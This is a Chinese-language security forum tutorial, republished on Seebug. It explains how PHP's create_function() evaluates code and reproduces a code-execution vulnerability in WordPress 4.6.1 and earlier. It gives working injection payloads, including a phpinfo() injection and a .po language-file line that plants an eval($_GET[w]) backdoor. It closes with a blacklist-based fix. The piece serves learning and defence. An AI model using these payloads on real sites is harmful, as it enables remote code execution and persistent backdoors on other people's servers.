本文來自i春秋作者:xiaoye
前言
最近天好冷,論壇也有點冷清~~,寫篇文章吧。打算把php中的敏感點寫成個系列,前面說了寬字節注入和php反序列,今天來看看一個不算很常見的函數的鍋------create_function()函數
一、函數定義
在PHP中使用create_function()創建匿名函數,seay大牛的解釋很清楚,引用一下:
獲取參數, 函數體;
拼湊一個”function __lambda_func (參數) { 函數體;} “的字符串;
eval;
通過__lambda_func在函數表中找到eval后得到的函數體, 找不到就出錯;
定義一個函數名:”\000_lambda_” . count(anonymous_functions)++;
用新的函數名替換__lambda_func;
返回新的函數。
其實我們只需要關注前三點即可,自己寫個例子講一下吧:
<?php
$id = $_GET['id'];
$q = 'echo'.$id.'is'.$a.";";
$sy = create_function('$a',$q);
?>
這個匿名函數相當于這樣的創建函數過程:
function niming($a){
???????echo $id.'is'.$a;
}
q所指向的字符串的值是匿名函數的函數體
正常情況下,我們會輸入http://localhost/create_function.php?id=1 此類的url來進行訪問,但是看了看上面的創建函數的過程,能不能做一些手腳呢?
二、函數漏洞利用
http://localhost/create_function.php?id=1;}phpinfo();/*訪問之:

woca,phpinfo()函數執行了!我們來分析一下執行過程,payload訪問后相當于如下:
function niming($a){
echo 1;}phpinfo();/*.'is'.$a;
}
這就解釋通了吧,我們用;}閉合了函數,phpinfo();后的/*會注釋掉之后的代碼,而我們之前說過,create_function函數是調用了eval的,所以phpinfo()函數得以執行。
三、wp下代碼執行漏洞的復現
復現下wordpress代碼執行的漏洞,方便起見,讀者可下載wp<=4.6.1的中文版(內置了中文語言包)復現安裝不再多說了,別忘了安裝之前建立個數據庫就行,我們直接定位到漏洞產生處:
代碼wp-includes/pomo/translations.php:

代碼如下:
/**
?????????* Makes a function, which will return the right translation index, according to the
?????????* plural forms header
?????????* @param int??? $nplurals
?????????* @param string $expression
?????????*/
????????function make_plural_form_function($nplurals, $expression) {
????????????????$expression = str_replace('n', '$n', $expression);
????????????????$func_body = "
????????????????????????\$index = (int)($expression);
????????????????????????return (\$index < $nplurals)? \$index : $nplurals - 1;";
????????????????return create_function('$n', $func_body);
????????}
出現了create_function()函數,看看函數體可不可以利用:
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
可以看到$expression等參數并沒有過濾,那么參數是從哪里傳過來的呢?看看注釋plural forms header 這是對字體文件的操作,參數來源于 wp-content\languages\zh_CN.po

"Plural-Forms: nplurals=1; plural=0這行就是上面的函數體接收的兩個參數 那我們來修改一下:
"Plural-Forms: nplurals=1; plural=0);}eval($_GET[w]);/*"
原理不用我多說了,和我前面舉得例子基本一致: );}閉合了函數,eval($_GET[x]);執行后門代碼,/*注釋后面代碼,相當于:

p.s:用notepad++修改后,再用poedit程序打開保存,因為wp調用的是mo文件,是po文件編譯后的執行文件,用poedit保存后才能編譯更新mo文件(如下圖設置:文件--首選項--把保存自動編譯mo文件勾選上,這樣我們保存po文件即可編譯mo文件供wp加載調用)。

由于訪問每個文件時都要用這個對字體文件解析的結果對文件進行翻譯,所以我們訪問任何文件都可以觸發這個payload
別人復現時的解釋,我們來看看執行情況:

復現成功,代碼執行了。
四、總結
關于wp<=4.6.1代碼執行漏洞的復現過程都大同小異,給出參考: https://www.seebug.org/vuldb/ssvid-92459 讀者嫌搭建環境麻煩,可以在i春秋試驗機上做實驗 http://www.ichunqiu.com/course/56013 重點還是理解create_function()函數的執行過程吧,要想避免此類的錯誤i,簡單的方法可以做一個黑名單,過濾函數體中可控的變量 給出參考:
$not_allowed = array(";", ")", "}");
$experssion = str_replace($not_allowed, "", $expression);
文章就寫到這里,吐槽一句,寫文章的編輯器太坑,這是第二遍寫這篇文章了。。
想了解更多網絡信息安全技術相關的知識,請關注i春秋社區。 原文鏈接:http://bbs.ichunqiu.com/thread-14485-1-1.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/94/
暫無評論